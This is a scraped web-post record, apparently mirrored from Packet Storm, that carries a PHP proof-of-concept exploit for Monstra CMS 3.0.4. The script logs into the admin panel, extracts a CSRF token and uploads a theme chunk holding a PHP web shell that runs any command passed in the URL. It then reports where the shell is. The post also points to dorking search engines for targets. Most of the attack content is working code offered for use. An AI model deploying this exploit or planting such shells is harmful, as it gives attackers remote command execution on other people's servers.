{“lastseen”:”2026-02-04T17:00:27″,”description”:”Monstra CMS version 3.0.4 proof of concept remote shell upload exploit…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Monstra CMS 3.0.4 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:214898″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Monstra CMS 3.0.4 shell upload Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 136.0.0 (64 bits) |\\n | # Vendor : https:\/\/monstra.org\/monstra-3.0.4.zip |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: The script performs an attack on a website’s control panel by exploiting CSRF vulnerabilities and uploading a shell via the website’s administrative interface.\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/178893\/ Related CVE numbers: ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Usage: php script.php \\u003curl\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n if ($argc \\u003c 4) {\\n echo \\”Usage: php script.php \\u003curl\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\\\n\\”;\\n exit(1);\\n }\\n \\n $base_url = $argv[1];\\n $username = $argv[2];\\n $password = $argv[3];\\n \\n $session = curl_init();\\n \\n $login_url = $base_url . ‘\/admin\/index.php?id=dashboard’;\\n $login_data = [\\n ‘login’ =\\u003e $username,\\n ‘password’ =\\u003e $password,\\n ‘login_submit’ =\\u003e ‘Log+In’\\n ];\\n \\n $filename = substr(str_shuffle(‘abcdefghijklmnopqrstuvwxyz0123456789’), 0, 5);\\n \\n echo \\”Logging in…\\\\n\\”;\\n curl_setopt($session, CURLOPT_URL, $login_url);\\n curl_setopt($session, CURLOPT_POST, true);\\n curl_setopt($session, CURLOPT_POSTFIELDS, http_build_query($login_data));\\n curl_setopt($session, CURLOPT_RETURNTRANSFER, true);\\n $response = curl_exec($session);\\n \\n if (strpos($response, ‘Dashboard’) !== false) {\\n echo \\”Login successful\\\\n\\”;\\n } else {\\n echo \\”Login failed\\\\n\\”;\\n exit();\\n }\\n \\n sleep(3);\\n \\n $edit_url = $base_url . ‘\/admin\/index.php?id=themes\\u0026action=add_chunk’;\\n curl_setopt($session, CURLOPT_URL, $edit_url);\\n $response = curl_exec($session);\\n \\n preg_match(‘\/input type=\\”hidden\\” id=\\”csrf\\” name=\\”csrf\\” value=\\”(.*?)\\”\/’, $response, $matches);\\n if ($matches) {\\n $token = $matches[1];\\n } else {\\n echo \\”CSRF token could not be found.\\\\n\\”;\\n exit();\\n }\\n \\n $content = ‘\\n \\u003chtml\\u003e\\n \\u003cbody\\u003e\\n \\u003cform method=\\”GET\\” name=\\”\\u003c?php echo basename($_SERVER[\\\\’PHP_SELF\\\\’]); ?\\u003e\\”\\u003e\\n \\u003cinput type=\\”TEXT\\” name=\\”cmd\\” autofocus id=\\”cmd\\” size=\\”80\\”\\u003e\\n \\u003cinput type=\\”SUBMIT\\” value=\\”Execute\\”\\u003e\\n \\u003c\/form\\u003e\\n \\u003cpre\\u003e\\n \\u003c?php\\n if(isset($_GET[\\\\’cmd\\\\’]))\\n {\\n system($_GET[\\\\’cmd\\\\’]);\\n }\\n ?\\u003e\\n \\u003c\/pre\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n ‘;\\n \\n $edit_data = [\\n ‘csrf’ =\\u003e $token,\\n ‘name’ =\\u003e $filename,\\n ‘content’ =\\u003e $content,\\n ‘add_file’ =\\u003e ‘Save’\\n ];\\n \\n echo \\”Preparing shell…\\\\n\\”;\\n curl_setopt($session, CURLOPT_URL, $edit_url);\\n curl_setopt($session, CURLOPT_POSTFIELDS, http_build_query($edit_data));\\n $response = curl_exec($session);\\n sleep(3);\\n \\n if (curl_getinfo($session, CURLINFO_HTTP_CODE) == 200) {\\n echo \\”Your shell is ready: \\” . $base_url . \\”\/public\/themes\/default\/{$filename}.chunk.php\\\\n\\”;\\n } else {\\n echo \\”Failed to prepare shell.\\\\n\\”;\\n }\\n ?\\u003e\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214898″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214898\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T17:00:27″,”description”:”Monstra CMS version 3.0.4 proof of concept remote shell upload exploit…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Monstra CMS 3.0.4 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:214898″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Monstra CMS 3.0.4 shell upload…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-39069","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n